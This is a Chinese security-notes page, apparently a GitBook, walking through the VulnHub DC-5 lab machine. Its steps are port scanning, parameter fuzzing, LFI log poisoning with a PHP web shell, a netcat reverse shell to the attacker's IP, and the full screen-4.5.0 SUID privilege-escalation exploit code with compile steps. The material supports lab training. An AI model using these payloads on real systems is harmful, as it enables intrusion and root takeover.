😍
信息安全笔记
  • 序言
  • 引用
  • devsecops
    • checkmarx
    • codeql
    • coverity
    • fortifiy
    • sca
      • Dependency Check
      • Dependency Track
    • 案例
      • SCA在得物DevSecOps平台上应用
    • 漏洞修复
      • Hello Java Sec
  • 书籍
    • 编译原理
      • 第一章 引论
  • 代码审计
    • JAVA漏洞
      • CRLF注入
      • Java RMI
      • JSONP
      • JWT
      • Log4j2
      • SPEL
      • SQL注入
      • SSRF
      • SSTI
      • XSS
      • XStream
      • XXE
      • 反序列化
      • 命令执行
      • 文件操作
    • 准备
      • 远程调试
      • 配置IDEA
  • 安全测试
    • APP渗透
      • 安卓5版本抓包
      • 安卓7版本抓包
      • 安卓9版本抓包
    • Linux提权
    • WEB应用
    • Windows提权
    • 信息收集
    • 免杀技巧
    • 其他
      • 反弹shell总结
    • 前端绕过
    • 后渗透
    • 容器渗透
    • 攻击绕过
    • 木马病毒
    • 横向移动
      • AS-REP Roasting攻击
      • Kerberoasting 攻击
    • 缓冲区溢出
  • 安全漏洞
    • Linux提权漏洞
    • Linux漏洞
    • Windows提权漏洞
    • Windows漏洞
    • 应用漏洞
    • 未授权漏洞
      • ActiveMQ未授权访问漏洞
      • Apache Flink未授权访问漏洞
      • Atlassian Crowd 未授权访问漏洞
      • clickhouse 未授权访问漏洞
      • CouchDB未授权访问漏洞
      • Docker未授权访问漏洞
      • druid 监控页未授权访问漏洞
      • Dubbo 未授权访问漏洞
      • Hadoop YARN resourcemanager 未授权访问漏洞
      • Hadoop Yarn RPC未授权访问漏洞
      • InfluxDB API 未授权访问漏洞
      • JBoss未授权访问漏洞
      • Jenkins未授权访问漏洞
      • Jupyter Notebook 未授权访问漏洞
      • Kafka Manager 未授权访问漏洞
      • Kibana 未授权访问漏洞
      • Kong未授权访问漏洞
      • Kubernetes Api Server 未授权访问
      • LDAP未授权访问漏洞
      • Memcached未授权访问漏洞
      • MongoDB未授权访问漏洞
      • NFS未授权访问漏洞
      • RabbitMQ 未授权访问漏洞
      • Redis未授权访问漏洞
      • Rsync未授权访问漏洞
      • Spark 未授权访问漏洞
      • Spring Cloud Gateway Server 未授权访问漏洞
      • SpringBoot Actuator未授权访问漏洞
      • VNC Server 未授权访问漏洞
      • Weblogic 未授权访问漏洞
      • Zabbix未授权访问漏洞
      • ZooKeeper未授权访问漏洞
  • 安全证书
    • CISSP
    • CRTO
      • 考证经验分享
    • OSCP
      • 考证经验分享
  • 社会工程学
    • 网络钓鱼
  • 运维配置
    • Kubernetes
      • 安装部署
  • 靶场环境
    • attackdefense
    • HTB
    • tryhackme
    • vulnhub
      • ACID RELOADED
      • ACID SERVER
      • Assertion101
      • BBSCute 1.0.2
      • BILLY MADISON 1.1
      • Bob 1.0.1
      • Born2Root 2
      • Born2Root:1
      • BossPlayersCTF
      • Bottleneck
      • Brainpan 1
      • Breach 1
      • Breach 2.1
      • Breach 3.0.1
      • BSides Vancouver 2018
      • BTRSys2.1
      • Covfefe
      • CYBERSPLOIT 1
      • Darknet:1.0
      • Dawn
      • Dawn2
      • Dawn3
      • DC 1
      • DC 2
      • DC 3.2
      • DC 4
      • DC 6
      • DC 8
      • DC 5
      • DC 7
      • DC 9
      • Deception
      • DEFCON Toronto Galahad
      • DERPNSTINK 1
      • DevGuru 1
      • DEVRANDOM SLEEPY
      • digitalworld.local BRAVERY
      • digitalworld.local DEVELOPMENT
      • digitalworld.local FALL
      • digitalworld.local JOY
      • digitalworld.local MERCY v2
      • digitalworld.local snakeoil
      • digitalworld.local TORMENT
      • DJINN 1
      • Djinn3
      • Election 1
      • Escalate Linux:1
      • EVM 1
      • Five86.2
      • FristiLeaks:1.3
      • Funbox
      • FunboxEasy
      • FunboxEasyEnum
      • FunboxRookie
      • Gaara
      • Geisha
      • Gitroot
      • Glasglow 1.1
      • GoldenEye 1
      • GREENOPTIC 1
      • Ha-natraj
      • Hack Me Please
      • Hacker kid 1.0.1
      • HackLAB:vulnix
      • HACKME 1
      • HACKME 2
      • HA:WORDY
      • Healthcare 1
      • IMF
      • Inclusiveness
      • Infosec Prep OSCP Box
      • InsanityHosting
      • Katana
      • Kioptrix Level 1.1
      • Kioptrix Level 1
      • Kioptrix 2014
      • Kioptrix Level 1.2
      • Kioptrix Level 1.3
      • Kvasir
      • Lampiao
      • LazySysAdmin
      • LemonSqueezy
      • Lin.Security
      • Loly
      • Lord of the Root 1.0.1
      • Metasploitable 3
      • Monitoring
      • MORIA 1.1
      • Mr-Robot:1
      • My-CMSMS
      • Node 1
      • NoName
      • NullByte
      • OZ
      • Photographer 1
      • Pinkys Palace v1
      • Pinkys Palace v2
      • Pinkys Palace v3
      • Pinkys Palace v4
      • Potato
      • Powergrid
      • Prime 1
      • Pwned1
      • PwnLab:init
      • PWNOS:1.0
      • PWNOS:2.0
      • PyExp
      • Raven 1
      • Raven 2
      • Readme 1
      • RICKDICULOUSLYEASY 1
      • Sar:1
      • Sedna
      • Seppuku
      • SickOs 1.2
      • Simple
      • Sky Tower
      • SolidState
      • Solstice
      • SoSimple
      • Spydersec
      • Stapler 1
      • Sumo
      • SUNSET MIDNIGHT
      • SunsetMidnight
      • SunsetNoontide
      • Sunset:Decoy
      • Ted
      • Temple of Doom
      • Tiki-1
      • TOMMY BOY 1
      • Toppo 1
      • TRE 1
      • Troll 1
      • Troll 2
      • Troll 3
      • Vegeta1
      • Violator
      • Vulnerable Docker 1
      • VulnOS 2
      • W34kn3ss 1
      • Wallaby's Nightmare
      • Web Developer 1
      • Wintermute
      • Wpwn
      • xxe
      • Y0usef
      • ZICO2:1
    • 云原生
      • kubernetes-goat
    • 域环境
      • PowerShell 搭建AD域渗透环境
    • 红日靶场
由 GitBook 提供支持
在本页

这有帮助吗?

  1. 靶场环境
  2. vulnhub

DC 5

上一页DC 8下一页DC 7

最后更新于2年前

这有帮助吗?

下载地址:https://download.vulnhub.com/dc/DC-5.zip

实战演练

发现靶场IP:192.168.32.162

扫描对外端口

┌──(root💀kali)-[/tmp]
└─# nmap  -sT -sV  -p1-65535 192.168.32.162                                                                    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 23:22 EDT
Nmap scan report for 192.168.32.162
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
111/tcp   open  rpcbind 2-4 (RPC #100000)
39437/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:E8:1B:52 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds

浏览器访问80端口

有一个反馈页面,提交数据之后,刷新页面会发现年份会进行改变

对参数进行暴力破解,发现file参数

┌──(root💀kali)-[/opt]
└─# wfuzz --hh 851 -w burp-parameter-names.txt -u http://192.168.32.162/thankyou.php?FUZZ=
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.32.162/thankyou.php?FUZZ=
Total requests: 6453

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                             
=====================================================================

000002206:   200        42 L     63 W       835 Ch      "file"                                              

Total time: 6.369654
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 1013.084

该参数存在LFI漏洞

查看nginx日志:/var/log/ngnix/access.log

使用BURP输入一句话木马

<?php system($_GET['cmd']) ?>
GET /thankyou.php?file=<?php system($_GET['cmd']) ?> HTTP/1.1
Host: 192.168.32.162
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

注:不可以直接在浏览器请求,不然会转义

使用反弹shell进行连接

view-source:http://192.168.32.162/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20-e%20/bin/bash%20192.168.32.130%2017777

查看suid的进程

www-data@dc-5:~/html$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

查看screen的提权漏洞

直接提权会失败,因为环境缺乏gcc

将需要GCC的代码拆分出来

libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

41154.sh

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

编译

┌──(root💀kali)-[/tmp]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
                                                                                                                     
┌──(root💀kali)-[/tmp]
└─# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

打包EXP

┌──(root💀kali)-[/tmp]
└─# tar -cvf exp.tar.gz 41154.sh libhax.so rootshell
41154.sh
libhax.so
rootshell

提权成功

image-20220623103141938
image-20220623153608129
image-20220623154157130
image-20220623154226384
image-20220623155323649
image-20220623155555772
image-20220623160521500
image-20220623161856190
image-20220623162644849
image-20220623163011898
image-20230208134225444
image-20220623155642730
image-20220623160237894